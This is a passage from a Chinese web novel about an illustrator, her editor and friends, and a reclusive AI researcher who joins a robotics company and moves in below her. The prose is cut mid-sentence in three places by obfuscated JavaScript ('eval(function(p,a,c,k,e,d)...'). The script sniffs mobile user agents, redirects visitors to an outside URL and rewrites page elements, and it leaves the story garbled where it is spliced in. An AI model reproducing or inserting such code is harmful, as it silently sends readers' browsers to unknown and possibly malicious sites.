不再和闯闯废话，迟了了乖乖从柜台后面钻出来，跟着肖音韬在长吧台前坐下。 不过准确来说，身材高挑的肖音韬是坐，迟了了则是……荡。 肖音韬扫了眼她晃晃悠悠不安分的脚，开门见山：“不绕弯子了，分镜稿过了。” 迟了了眨眨眼，没有应声。 肖音韬皱起眉：“你就这反应？” 这么淡定？ “没有‘但是’吗？”迟了了歪歪头，反问。 一般正面反馈之后不都会接个“但是”吗？她等着下文呢。 “没，有。” 肖音韬无语，枉她还以为这丫头终于修成了大神风范，宠辱不惊了呢！ “这么顺利？”迟了了还是不大信。 肖音韬皮笑肉不笑地勾了下唇：“改了三稿，你嫌太顺利是吗？那等正稿——” “不不不！”见势不对，迟了了赶紧拉过她的手，小意地抚摸着，“谢谢肖编，您辛苦了！您就是当代最美编辑！” 肖音韬才不吃她这套，立刻就想拽回自己的手，可刚动一下又改了主意：她才不是被这糖衣炮弹给蛊惑了，只是这丫头手指温温软软的，揉得自己的指关节还挺舒服。 她每天忙得昏天黑地，为了那么点钱和梦想，被工作上那些破事儿气得简直七窍生烟，正需要这种疗愈。 一只手按得差不多了，她又将另一只也递过去：“手艺不错，这只手也按按。” 迟了了：“……喳。” 就这么又按了一会儿，迟了了瞄了眼正闭目养神的肖音韬，见她脸上的躁怒消退了不少才试探着开口：“就这事儿，你线上跟我说不就行了？干嘛还非要约在这里呀？” 被按得心情舒适的肖音韬睁开眼，和风细雨地吐出三个字：“我，乐，意。” 迟了了噎住。 心情这么差，这让她不禁再度怀疑起过稿的真实性，想了想又问了一遍：“真过了？” “我看起来很闲？闲到有工夫跟你开玩笑？” 不闲吗？那干嘛非约着见一面？ 但这话迟了了却是不敢说出口的，她从善如流地摇摇头：“不闲，就是看起来想杀人。” 肖音韬一滞，深吸一口气，咬牙切齿道：“我最近确实想杀人！” 吓！ 迟了了赶紧收回手，惊恐地看着她。 她没上过班不太清楚，但现在打工人的情绪都这么危险的吗？ 正想着，闯闯走了过来，将加浓美式往肖音韬面前一放，附带一份刚推出的门店新品，青柠抹茶千层。 “请你的。”咖啡店主理人豪气地说。 不料被请客的人却不大领情，嫌弃地看着这块绿油油的甜点：“一大早为什么给我吃绿的？还嫌我最近基金跌得不够惨？” 嘿！ 闯闯才不像迟了了惯她的臭脾气，伸手就要拿回来：“不要算了。” 可手刚伸出又被按住，只见肖音韬摇摇头，破罐子破摔道：“算了，绿就绿吧，也不差这一点了。” 闯闯对此冷呵一声。 见她端起咖啡猛灌一口，迟了了惊叹：“你这黑眼圈，还有这暴脾气，喝这么浓的咖啡不怕心率过速啊？” “放心，猝死之前我肯定留口气把你这册绘本出了，”肖音韬压着嗓子说道，说完语气一转，又咬牙切齿地说，“并且砍死我那无良主编和傻叉作者！” 迟了了倏地瞪大眼：“？！！” “不是说你，”她瞥了眼迟了了，但顿了下又补充，“当然，如果你也能更听话点，那就更好了。” 迟了了缩缩脖子：这……就有点强人所难了吧。 - 西港，是荔安近几年正着力开发的人工智能产业基地，因位于荔安市中心的主要河流荔江西岸而得名。基地内高级写字楼林立，遍布着大大小小的计算机、互联网、人工智能企业和研发机构。 周默乘着出租车，在其中一栋写字楼前停下。 刚下车，他就听到身后传来一声呼喊：“周默！” 抬头看去，就见写字楼门口，一个身穿深灰衬衫的男人正在朝这边招手。 男人长相英俊，打了发胶的短发向后梳起，露出清爽的额头，金丝眼镜下，一双狐狸眼却透着股邪气，衬着嘴角那抹吊儿郎当的笑意，整个人打眼看上去，很像一只随时准备算计人的狐狸。 一见周默，那人立刻快走几步来到他跟前。 两人这么面对面一站，气质一正一邪，长相各有千秋，倒让一旁的路人都忍不住回看几眼。 …… “来来来，大家都等你好久了！”一出电梯，祝赫便一手搭在周默肩上，带着他往里走。 干净透明的玻璃大门顺势打开，露出门后简约高级的白色前台，以及墙上黑色大理石与白色灯带相互切割而成的立体几何状背景墙。 墙上嵌着极具现代感的四个大字—— 精卫科技。 正在摸鱼的前台小姑娘一见老板来了客人进来，登时吓了一跳，赶忙收起手机站起来。祝赫见状抬手按了按，让她该干嘛干嘛，转而带着周默转了个弯，径直往里面走去了。 “自从你前天来露了那一手之后，那几个家伙就一直追着我问东问西的，”祝赫边走边说，“知道今天你来，嘿，以前不到中午都不来公司，今天一个个到的，比开年会还齐整！” 周默闻言浅浅勾了下唇，没有接话。 祝赫了解他的脾气，也不在乎他应不应声，兀自继续说着。 不一会儿，二人走过一面磨砂玻璃墙，来到一片宽敞的办公区。 办公区内所有人一见两人过来，立马投来注目礼，一个个脸上尽是惊叹仰慕。 然而祝赫脚步未停，再次抬手按了按，带着周默继续往里走，直到来到最里面，才在靠窗的两排座位前停下。 这里坐着五六个人，而他们似乎早就翘首以盼，一见两人过来，立马激动地站了起来。 目光直直地，只落在周默身上。 那些眼神，从犹疑，到震惊，再到惊喜，一个个发着绿光，跟夜里被手电筒扫过的饿狼似的。 “咳咳，”祝赫看不下去了，提醒他们，“悠着点，别把人给我吓跑了！” 几人顿时一阵哄笑。 周默表情也稍稍放松下来，无奈地瞥他一眼。 “Boss，你别开玩笑好吧，”一个穿着牛仔外套的寸头男生夸张地朝周默张开手臂，语气中带着实实在在的惊叹，“这可是Mo神！能被我们吓跑？！” “就是就是！” 其他人也纷纷附和，而后继续热切地盯着周默。 祝赫不再说什么，朝周默耸耸肩。 周默明白他的意思，转头看向几人，与他们激动又满怀期待的目光一一交汇……然而酝酿了片刻，他却只点了个头，沉声说了一句：“大家好，我是周默。” 然后，就没了。 全场安静了几秒，不得不说……有点尴尬。 好在祝赫见怪不怪，甚至早有预料地笑出声来，抬手拍拍周默肩膀，冲几人说道：“好了，今天就先打个招呼，以后见面的机会多着呢，该干嘛干嘛去吧！” “啊——”几人不由一阵哀号。 “别想趁机摸鱼啊。”祝赫脸色猛然一变，指着声音最大的寸头男生厉声警告道。 然后，他又秒变脸，笑看向周默：“去看看你办公室？” “……好。” 离开前，周默又朝那几个人颔首示意。 等两人走远，几人才回过神来，再次凑到一起激动地议论起来： “还真是Mo神！他真回国了！” “不愧是他，大神风范，太帅了！！！” “祖宗显灵啊，我简直不敢相信我以后就跟Mo神混了？！” …… 另一边，祝赫领着周默来到一间办公室外。 他推开玻璃门，让周默先进去，自己随后跟进来，张开手臂激动地说：“来，抱一个，我的合伙人！” 周默回身看向他，可听到最后三个字，原本浅笑的神色忽地一滞，随即淡了下来。 “怎么？”这反应让祝赫不禁疑惑。 “拥抱就算了，合伙人……我正想跟你说这事。”周默轻声道。 祝赫目光一怔：“什么意思？” “精卫现在发展成这样，是你的功劳。”周默说，“我是回来加入的，但只是以员工的身份。” 祝赫被这话说得一愣，等反应过来顿时哭笑不得：“你开什么玩笑？这也是你的精卫。” 很少有人知道，精卫科技，这个如今在国内首屈一指，甚至在全球具身智能领域都独领风骚的科技公司，除了它在各大科技杂志和论坛中总被提及的天才创始人祝赫外，背后其实还有一个隐藏的大功臣，那就是周默。 国际AI圈的天才人物，Mo神。 关于两人的相识，还要追溯到大学时期。 彼时，16岁的祝赫刚被保送进荔大自动化系，就听闻荔大全国最强的计算机系也来了个厉害角色，正是同样16岁的周默。 在随手一抓都能捞着几个天才的荔大，明明不是同一专业，可不知怎的，祝赫从一开始就是看周默不顺眼。 虽说周默一向性情冷淡，对总是明里暗里向自己挑衅的祝赫并不在意，但有时候被惹烦了，他也不介意反击一下。 于是，两人就这么你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他认识的周默，是少年天才，是自信孤傲，又不容置疑的。从16岁保送进荔大最强计算机系，到25岁MIT博士毕业，再到之后数年，在校任教期间名扬国内外AI圈，成为人人仰慕的偶像……祝赫何时见过这样的周默，孤傲还在，眼底却少了光彩，甚至蒙上了一层浓重的灰暗，透着挥之不去的死气沉沉。 并肩多年，以他的了解，周默有这样的变化，必然是遇到了一些大事。 而最近的大事…… 正想着，又听周默开口说道：“按照你的计划，想要精进强化精卫的AI模块，目前阶段，我可以提供一部分支持。” “一部分，是多少？”他问。 “在现有基础上，给AI研发团队一些指导。” 祝赫一听这话，抬手就在精心打理的头发上抓了两把。 如今，精卫已经成为国家级专精特新小巨人，发展势头大好，可作为一手将这家公司做起来的创始人，祝赫比谁都清楚，精卫的技术壁垒究竟在哪里。 具身智能，说到底是“具身”+“智能”，除了机械体硬件的更新迭代，智能系统的优化也必不可少，因为他想做的，是真正意义上的具身智能，而不只是一个颤颤巍巍的像人、像动物，又或者一个机械臂的傻机器！ 以精卫目前AI团队的水准，根本无法实现他的这一设想，于是当清晰地认识到这一点后，几乎自然而然地，他就想到了周默。 而恰巧在这个时候，他收到了周默决定回国的消息。 本想着两人再次聚首，可以重现当年双剑合璧的默契，自己的机械体，周默的AI算法，一身一脑、一张一弛，必定能让精卫再往前一大步！ 可没想到…… “抱歉。”看他抓耳挠腮的样子，周默很是过意不去。 祝赫摇摇头，捏着额角缓了半晌才说服自己接受这个现实，问他：“那你需要多久，总不至于就这么放弃了吧？” “……我不确定，走走看吧。”周默叹声道。 祝赫低下头，相抵的十指飞快地跳动着。 半晌，他忽地长叹一声，身子往后一靠，两臂展开搭在椅背上，似笑非笑地说：“给你MosesChou当老板，这要传出去，想挖你的人得排到东方明珠！” 听到这话，周默知道他是答应了，唇角浮起一抹淡淡的笑，抬手锤了下他的肩膀。 “哎哟——”祝赫立马捂住肩膀，煞有其事地痛呼一声。 “……别演。”周默无奈地白他一眼。 这么多年过去了，这人还是这样，总没个正行。 祝赫见他不接茬，无趣地放下手，上一秒还惨兮兮的样子立刻变得嬉皮笑脸。 “不过，”他话头一转，又说，“你这兼职顾问也是要签正式合同的啊，来了我就不会轻易放你走！其他家想挖你，也得先过我这关！” 周默转头看向窗外，声音轻缓地说了句：“也没打算走了。” 8. 整顿职场 “或者”咖啡，三人趁着片刻的空档还在闲聊。 说起迟了了和肖音韬的渊源，那也是由来已久，久到迟了了上大二那年，在社交平台上发布自己的第一套原创儿童漫画开始。 迟了了打小就学画画，后来考上荔大美术专业，走的也是正统的国画路子。可因为一次跟福利院合作的公益活动，她萌生了画儿童漫画的想法，于是便用更鲜艳明亮的水彩颜料代替国画颜料，配合水墨画技法，利用课余时间画了套Q版原创漫画，并随手发到了自己的社交账号上。 本来只是兴之所至，却没想到因为功底扎实、画风可爱、用色独到，加之故事内容温馨治愈，这套漫画竟意外得到不少人的喜爱。 肖音韬就是在这个时候，通过私信找来的。 说是看到漫画，想问问迟了了有没有出版意愿。 这个消息对于当时的迟了了来说，自然是受宠若惊，自己的第一套作品就被出版社看中，怎能不让她兴奋激动！ 可等稍微冷静下来，她又有点担心，怀疑自己是不是遇上了骗子？ 于是她回去跟大人商量，最后在作为律师的许愿妈妈的陪同下，约了肖音韬面谈。 然而她没想到的是，彼时的肖音韬也是个才入职场不久的新人编辑，迟了了这本还是她独自去谈的第一本书。本就战战兢兢唯恐出错的她，一见迟了了还带了家长来，更是紧张的不得了！ 就这样，两个小菜鸡在一名大家长的耐心指导下，紧张又磕磕绊绊地达成了第一次合作，迟了了出版了自己的第一本儿童漫画，意外卖得不错，开始有了小小的名气，而肖音韬也因为这本书的成功，在出版社站住了脚。 一回生二回熟，打那之后，两人便开始了长期稳定的合作，迟了了在大学期间又陆续出了几本漫画，同时辅修了儿童心理学，毕业后，正式转入儿童绘本方向，成为了一名儿童绘本作家。 只是儿童绘本的收入到底还是有限，于是她还经营了个自己的社交账号，平日里为了赚钱，偶尔接些商稿、画画插画、出出画册，几年下来已经是个粉丝量过百万的网红插画家，日子过得也算悠闲自足。 而肖音韬也慢慢签了更多作者，成了出版社几大主力编辑之一。 只是相比自由自在的迟了了，在工作的摧残下，她的脾气是愈发暴躁了。 此时此刻，她痛心疾首吐槽的，正是她手下的另一位漫画作者。 “那家伙上个月我就跟他说，这个月要交稿要交稿，上周我又提醒他，他还满口答应，结果呢？！上周没交不说，这周还不回我消息，甚至把我拉黑了！” 两位听众一听，齐声：“哇！” 闯闯用眼神示意迟了了：你瞧瞧人家，多硬气！ 迟了了立刻摇头：告诉你，没用！ 认识七八年，以迟了了对肖音韬的了解，她绝对不会善罢甘休。 果然，紧接着便听到肖音韬一声冷笑：“他以为他能逃得了？没有联系方式我还有他家地址！昨天我就亲自去了趟他家，结果你猜怎么着？” “怎么着？”迟了了配合地问。 “他装不在！” 迟了了捧哏似的直摇头：“年轻了不是，以为这样就能逃过。” “可是你怎么知道他是装的？”闯闯问，“说不定他真出去了呢？” 肖音韬不无得意地啜了口咖啡，扬起下巴说：“我快到的时候给他点了杯他最喜欢的奶茶，快递小哥说他让把奶茶挂门口了，但是等我上去，门口已经空了。” 闯闯：“……6。” 肖音韬冷冷一笑：“不回消息装不在家是吧？我就又点了份外卖，然后在他家门口蹲守，我就不信他不吃饭，结果蹲了几乎一整天，还不是被我给揪住了？” “啧啧，”闯闯听得直摇头，“简直变态呀……” 迟了了也难以置信，实在无法想象这个平日里致力于维护自己都市精英、优雅OfficeLady形象的女人，竟然在人家门口蹲守一整天？ ……那场面一定十分感人。 “变态还不是他逼的！”肖音韬忿忿。 “那你老板又怎么着你了？”迟了了问。 提起这个，肖音韬更气不打一处来：“那家伙仗着自己在社里被捧着，被我抓到以后竟然去跟我老板告状，说我干扰他创作！死老头扭头就把我训了一顿！好嘛，他想留住大作者当然扮好脸了，说得好像之前催命鬼一样催我的人不是他似的！气死我了！” 她气冲冲说完，一口把剩下的咖啡全倒进了嘴里，五官随即皱成一团。 迟了了看着就觉得苦，也跟着龇牙。 夹心饼干，两面受气，她一时都有点同情肖音韬了。 迟了了知道她说的那个作者，笔名叫“七月流火”，是个画少年漫的，故事热血、画风大胆、想象力更是丰富，虽然比自己晚几年签约，但成名早，名气也大，是前两年肖音韬和出版社总编一起从别处挖来的。 名气大，脾气也大，加上最开始的“挖”这个字已经定义了双方的关系，一开始的姿态低，之后就很难硬气起来，而且那个作者还有不少死忠粉，这就导致出版社上下都得供着这位爷。 而负责他的肖音韬，哪怕再气再急，也得捧着他。 不过…… “同事”表现不好的时候，不正是自己刷好感的好机会吗？ 迟了了想到这里立刻同仇敌忾，握拳一砸：“男人都是大猪蹄子！” 肖音韬：“没错！” “那就不管了，你也拉黑他！现在不是流行那个‘00后整顿职场’吗，咱也整顿！” 肖音韬一愣，虽然同意但还是纠正：“……可我是90后。” 迟了了歪歪头，又眨眨眼，一脸无辜：“谁说的，咱永远18。” 这话精辟！ 肖音韬一拍桌子：“你说得对！”说着抬手就捏了捏她觊觎已久的软乎乎的白嫩脸颊，“跟那家伙比起来，你简直就是个小天使！” 迟了了忍着脸上的不适，在心里暗暗比了个耶：成功！下次拖稿又可以少挨点骂了~ 一旁闯闯看着两人却早已是目瞪口呆，她不大自信地看看已经空了的咖啡杯……她刚刚做的，应该是咖啡，而不是酒，吧？ …… 经过一通发泄，肖音韬心情好了许多。可原本想在咖啡店多摸会儿鱼，不一会儿又接到电话，说有本书的印刷出了点问题，需要她去看看，于是位子还没坐稳，她又骂骂咧咧地走了。 看着前一秒还怒气冲冲，出了咖啡店又立刻恢复知性优雅的背影，柜台后的两人对视一眼，齐齐摇头。 “职场中最吃亏的，就是这种责任心强，又有脾气的人了。”闯闯长叹道。 迟了了深以为然。 正感慨着，又有客人推门进来，两人再次忙活起来。 做着咖啡，闯闯想起自己刚刚没来得及说出口的疑问，又说：“可是我很想知道，她明明是去催稿的，为什么到头来反而给对方点了两次外卖？” “嗯？” 迟了了将客人点的小蛋糕送过去，回来听到这个问题，一时间也愣住了，“你说的有道理诶！” 自己被催稿的时候怎么就没这待遇？ “对吧，明明她可以——”闯闯想了想，“比如啊，冒充居委会敲门，说要人口普查，最近不是正搞这个呢嘛。” “可万一他家已经普查过了呢？”迟了了反问。 “那就……对了，冒充楼下邻居，说他家漏水了！” 正吃瓜的迟了了忽地一噎，感觉自己中了一箭。 “……闯闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818836|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你是在我家安了摄像头吗？”她哭丧着脸趴在两人之间的柜台上，眨着一双大眼问。 “啥？”闯闯莫名其妙地看她一眼，将刚做好的咖啡放在她面前，“我可是遵纪守法好公民，去给6号桌送去。” “唉——”迟了了叹了口气，端着咖啡走了。 等再回来，她才趴在柜台上说起前几天的糗事。 不出所料，闯闯听完一脸嫌弃地看着她，啧啧两声：“迟三三啊迟三三，凌晨三点在楼上跳绳，好好一社会主义新青年，怎么能干出这种惨绝人寰的事呢？” 紧接着，她凑近一点压低声音：“我跟你打个商量怎么样？” 迟了了一脸问号：“什么？” “‘我跟你是朋友’和‘你半夜在楼上跳绳被人找上门’这两件事，请你千万千万不要让另一个人同时知道！” 迟了了琢磨了好大会儿才绕过弯来，这话的意思不就是说“你做了这么丢人的事，千万别跟人说咱俩是朋友”吗？ 然而她非但没生气，反而热泪盈眶地抓住闯闯的手：“好闯闯，你都这么嫌弃我了，还愿意让别人知道咱俩是朋友，我真是太感动了！” 闯闯顿时打了个冷战，一把甩开她的爪子：“滚！” 迟了了笑嘻嘻地松开手，又皱皱鼻子为自己叫屈：“但这事真不能全怪我，许愿那房子都空了四年了，我哪知道二爸会把它租出去，而且刚好那天有人搬进来呀！” “那人家生你气吗？” 迟了了看珍稀动物一样看着她：“搁你你不生气？” 也对。闯闯点头。 “道歉了吗？” “当然！” “对方没原谅你？” “原谅……了，吧？但他看起来有点高冷，我不大确定。”迟了了满是心虚地说。 “哈！”闯闯一听这话，竟然激动地鼓起掌来，“恭喜我们迟三三同学，终于迎来了社交生涯的滑铁卢！可喜可贺，可喜可贺！” 要说迟了了这人有什么天赋，除了画画，闯闯绝对要投“人缘”一票。 因为天生大眼睛白皮肤长得又可爱，再加上性格活泼、嘴甜热情，迟了了从小到大走到哪都特别受人喜欢。在大学里，她们美院的系花，如果是按群众喜爱度来选的话，绝对非迟了了莫属！ 说起来，大学期间，迟了了还有过一次壮举：她们绘画系有一教美术史的女老师，历来以“铁面无私”“挂人无数”著称，然而就是这样一个人，竟硬生生被迟了了处成忘年交，不仅课下一起讨论口红色号、眼影画法、穿衣搭配，更在考试前破天荒地给她们班学生划了重点——这后一件事，至今都是她们美术学院“后无来者”的传奇！ 更别说她现在住的小区，几乎所有街坊邻居、爷叔阿奶、大小朋友、门卫保安，但凡平时能常常见到面的，基本都能跟她说上几句话。 要不是因为大学没住校，许愿这“保镖”又太负责，以及毕业后她所从事的职业没什么朝夕相处的同事，闯闯觉得，她最好的朋友绝对轮不到自己做。 然而今天，这样人见人爱花见花开的迟了了，竟然在新邻居面前栽了跟头，这如何不让闯闯惊叹！ 搞得她都想见一见这位与众不同的新邻居，当面表示一下膜拜之情了！ 这取笑明晃晃的丝毫不加掩饰，迟了了皱起鼻子，哼地别过头去。 - “入职”第一天，商定了每周做三休四的上班节奏，又了解了公司的近期规划，并认识了部门同事后，周默便准备先回去了。 可刚起身，祝赫又连忙喊住他：“别着急走呀，一起吃个晚饭！” 周默看了眼手表，拒绝了他的提议：“今天先不去了，我还有事。” “什么事，非得今天？” “……去提车。” 9. 八字相克 在咖啡店忙了一天，迟了了先是帮着做完了小高峰的订单，闲下来又看闯闯给店里即将推出的新品咖啡和甜点画菜单配图和小卡片，等到下午五点多，客人渐少，两人索性提前闭了店，一起去吃火锅。 “或者”做的是早咖生意，每天早上8点营业，到18点就打烊了，有时客人不多或是老板心情不好，又或是心情很好的时候，提前打烊也是常有的事。 一顿火锅吃得酣畅淋漓，直到暮色降临，两人才披着满身的火锅味各回各家。 电梯一路上行，到6楼时，迟了了忽地想到什么，赶紧抬手按下8楼的按钮。 等来到801门口，她敲敲门，又等了好一会儿，却一直没见有人来应。 凑近猫眼看了看，里面黑乎乎一片，什么也看不见。 “没在家？难道是在加班？” 迟了了自言自语着，低头看向手上的袋子——这是她从“或者”带回来的新品甜点，本想送给新邻居尝尝的…… 下一秒，她视线落在面前的门把手上，来了主意…… 几秒钟后，迟了了拿出手机，反复寻找角度，对着门把手上挂着的袋子郑重拍了张照片。 拍完一看，不太行，又从随身的斜挎包里翻出几根彩笔，挑挑拣拣选了根最显眼的橘红色，就着纸袋的白底刷刷写了几个字。 写完又看看，才算是满意了，然后重新拍照、发送。 做完这些，她笑眯眯地伸手拍拍纸袋，转身蹦蹦跳跳地走向电梯。 可没想到就这么一会儿的工夫，电梯已经又被人招呼到楼下去了。左右就一层楼，再等电梯也不值当，迟了了也没纠结，高高兴兴地拐进了身后的楼梯间。 然而不过小半分钟后，在迟了了回到楼上关上自家房门的同一时间，电梯再次在8楼停下。 不锈钢门打开，周默一手插兜，一手拎着电脑包，从里面走了出来。 还没到门口，他就看到了门把手上挂着的白色纸袋。两行橘红色的手写字下面，衬着一串黑色的花体英文——ORCOFFEE。 周默微微眯眼，疑惑地走近两步，才看清那两行橙色字写的是—— 【To周默： 请你吃蛋糕和布丁！ 很好吃哦~】 前半句有种不管不顾的热情，后半句突然想起来似的，语气又委婉了些……字也拥挤了一点。 不过虽只有寥寥片语，这字却写得十分漂亮，像是多年书法练出来的。 字周围还有几个惟妙惟肖的小蛋糕图案，分辨起来没什么难度，反倒是右下角的落款有点抽象，周默盯着看了好半天，才认出来那是三个字，哦，准确来说，是一个汉字和两个数字—— 迟33。 想到什么，他拿出手机。 不出所料，一分钟前刚进来一条消息，内容跟袋子上写的大差不差，只不过将上门来送东西扑了个空，只好把袋子挂门上的前因后果又说了一遍。 周默看着眼前的袋子，暗暗庆幸自己来晚了一步。 可跟袋子面面相觑了几秒，在“将东西送回去”和“收下”之间犹豫了几个来回后，他最终还是选择了后者。 纯粹因为不想跟对方啰嗦撕扯。 微信里道了声谢，他取下袋子，开门进屋。 只是进门后他也没有品尝的打算，只将它往餐桌上一放，便没再管了。 然后便是喝水、洗漱、打开电脑看论文…… 不知不觉，夜色愈深，他看看时间，又是1点多了。 虽然不抱希望，但他还是起身回到卧室，强迫自己闭上眼睛。 ……结果不出意料，又失眠了。 辗转反侧不知过了多久，周默依旧了无睡意，最后他索性不再跟自己较劲，重新坐起来，按开床头灯，拿过床头柜上的书看了起来。 时间一分一秒过去，书被翻过一页又一页，夜色愈发深沉…… 突然，周默翻书的手一顿，转而捂住肚子。 他，好像有点饿了。 看看时间，已经是半夜三点多。 不知今晚还要多久能睡着，他想了想，干脆掀被下床，准备去弄点吃的。 可刚一进餐厅，那个被他遗忘在餐桌上的白色纸袋便映入眼帘，周默脚步稍顿，思考片刻后，决定放弃原本的开火计划。 遭受一夜冷落的礼物甫一被打开，便立刻热情地拿出自己所有的美味来招待客人。 青柠的清爽交织抹茶的清香，在淡淡的奶味和松软面皮的衬托下，宛如一杯沁人心脾的雨后龙井。夜深人静的餐厅里，这样清新的口感也给了周默这个不眠的灵魂以恰到好处的抚慰。 他就这么坐在餐桌旁，伴着一旁冰箱不时发出的低沉的嗡鸣声，一口一口，静静品尝着，不知不觉，便吃完了一整块千层蛋糕。 看着剩下的那盒焦糖布丁，周默恍然回过神来，面上怔了怔，不由得浮起一丝尴尬。 他别开眼，起身将布丁放回袋子里，然后又去刷了个牙，关灯回房。 说来也怪，不知是不是吃饱了的原因，这次他很快就睡着了。 …… 城市如同一颗巨大的夜光石，白天吸收了足够的日光后，便在夜晚发出璀璨的荧光，这光不仅照亮了它自己，也照在城市上方的云层上，衬得整个夜空宛如一块黑白幕布。 周默睡觉时习惯将窗帘留出一条缝隙，好方便第二天醒来时观察外面的天色。而此时，夜晚城市混沌的灯光正穿过这道缝隙，隐隐约约照在床上睡得不大安稳的男人身上。 他眉头紧紧蹙起，紧闭的嘴唇忽地动了一下，随后微微张开，像是溺水的人终于挣出水面，深深吸了口气！ 然而这口气却似乎不足以缓解他的不适，只见他眉心拧得更紧，额角渐渐渗出些汗珠来，原本安稳的头也难受地左右摆动起来。 突然！ 周默猛地睁开眼，连灯都来不及开便一把掀开被子冲进了主卧的卫生间！ - 翌日，医院。 “哎哟喂，这莫非就是网上正流行的那个词，叫什么来着？哦对，‘破碎感’！” 周默正倚着床头闭目养神，耳边就响起这么个欠揍的声音，还伴着一声响指。 他掀起沉重的眼皮，先抬眼看了看头顶还剩一多半的点滴，随后目光才落到床尾站着的男人身上。 “你来干嘛？”他缓缓开口，声音中带着丝与平日不同的沙哑。 “来探病啊！”祝赫举了举手里拎着的一袋子红苹果，答得理所当然。 周默无语，转头重新闭上眼。 “嘿，你这什么反应？”祝赫语气更加欠揍，“我这不是看你一个人孤苦伶仃的，半夜来医院都没人陪，怕你太凄惨，才好心来慰问慰问你，你别不识好人心啊。” 周默这次连眼都不睁了，敷衍一句：“谢谢你啊，好人。” “嗐，咱俩谁跟谁，这么客气干嘛！” 如此厚脸皮，周默理都不想理他。 祝赫挑逗得逞，哧哧笑着，将苹果袋子往床头一放，随手拽了把椅子就四仰八叉地坐了下来。 他手长脚长，这么一坐，跟摊开晾须须的人参似的。 两人一坐一躺，周默闭着眼也不招待他，而祝赫也不需要他的招待，目光扫过他仍有些苍白的脸色，还有颈侧尚未褪去的风团，又转头打量起四周，一副无所事事的样子。 一分钟后，周默终于忍不住了，抬手捞了个苹果就朝他怀里砸去！ “哎哟我去！” 祝赫眼疾手快地接住，捂着被砸的胸口莫名其妙地看着他：“干嘛？”话刚问完，他又恍然大悟，“想吃苹果？得嘞，兄弟我给你削！” 多大点事儿！ 然而还没起身，这份罕见的体贴就被周默冷言打断：“脚。” 祝赫一顿：“啊？” 什么脚？他转头看向床尾。 “你的脚。”周默有些不耐烦了。 于是他又低头朝自己的脚看去，这一看不得了，他嗖地一下就把腿收了回来！ 他无聊的时候会无意识晃腿，刚刚那一眼，他看到自己的脚不偏不倚，正抵在病床的床腿上。不用问也知道，肯定是自己刚刚又晃腿了，而且恐怕还踢到了床脚，这才惹了这位爷的嫌。 行，天大地大，病号最大！ 他老老实实坐正，收起手脚，规规矩矩地缩在那个不大的椅子里。 “那你要吃苹果吗？”他“贴心”又问。 “不吃。”周默拒绝得干脆利落。 好吧，祝赫耸耸肩。 他不吃自己吃。 拿苹果在衣服上蹭了两下，他便咔嚓咬了一大口。 嚼着苹果，他再次无所事事地左顾右看起来，目光转了一圈，落在床头架的点滴瓶上。 “你这得打到猴年马月啊？”一滴一滴的，也忒慢了。 “最后一瓶了。”周默闭着眼说。 “哦，那就好。”他松了口气，又咬了口苹果，继续东张西望。 这人实在闲不住，看了一会儿就站起身来，走到隔开床位的布帘旁，先是研究了会儿挂环的固定方式，又顺着帘子的走向逡巡了一圈，最后又鬼鬼祟祟地扒着帘子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说到底，还是不该偷那个懒。 不过—— 再想到送蛋糕的人，不怪他迁怒，从自己搬来到今天的短短四天里，就已经在这位看似无害的邻居手里吃了三次亏，一向信奉科学的周默，此时不得不怀疑，自己和她……可能八字相克！ - 而那厢，与周默“八字相克”的迟了了正坐在一间温馨舒适的房间里，惬意地摆弄着桌上的一盆小花。 舒适的沙发和轻柔的音乐让人不由自主地放松下来，她整个人窝在沙发里，坐姿很是随心所欲。 在她对面，一个看起来约莫三十来岁，气质颇有几分沉静恬淡的女人正阖上手里的本子，温柔地笑看着她。 “这次情况也挺好，没什么异常。”她说。 迟了了得意地扬起下巴：“我就说嘛！” 女人面带宠溺地笑笑，又问：“最近怎么样，工作什么的，还顺利吗？” “还算顺利吧，跟之前一样，画画、交稿、改稿……”迟了了摇头晃脑道。 “但最好还是少熬夜，对大脑激素分泌会有影响。”女人说。 迟了了立即坐正身子，乖巧点头：“好。” 女人却一眼看出来她这是在敷衍自己，无奈地嗔了她一眼，又问：“那，有发生什么特别的事吗？” “特别的事？”迟了了眼睛一亮，“还真有！” “什么？” “我楼下来了个新邻居！” “新邻居？楼下？”女人愣了一下，“那不是许愿的房子吗？” “对呀！”迟了了挑了下眉，向她讲述起这背后父子俩的“勾心斗角”。 等她说完，女人摇着头笑了出来。 过了会儿，她又问：“那，你是乐见这件事发生的吗？” “当然！”迟了了毫不犹豫地说。 “这个人有什么特别的吗？” “有！特别好看，个子也特别高，人也特别好！”迟了了兴奋地说着，但随即又颓丧下来，“但，也特别冷淡。” “男性？” “嗯，比我大三岁。” 女人不动声色地观察着她的表情，片刻后微微勾唇，重新打开膝盖上的文件夹，提笔在上面记了几个字。 “可是，你想跟他交朋友，”她抬起头看着迟了了，又问，“为了给许愿自由？” “对呀。”迟了了再次干脆利落地答道。 女人没有说话，只是这样温柔地看着她，过了会儿她低头笑了一下：“那就跟他相处看看。” “？” 迟了了眨眨眼，慢慢坐起身子：“这是，作业吗？” “就算是吧。”女人说。 10. 社牛效率 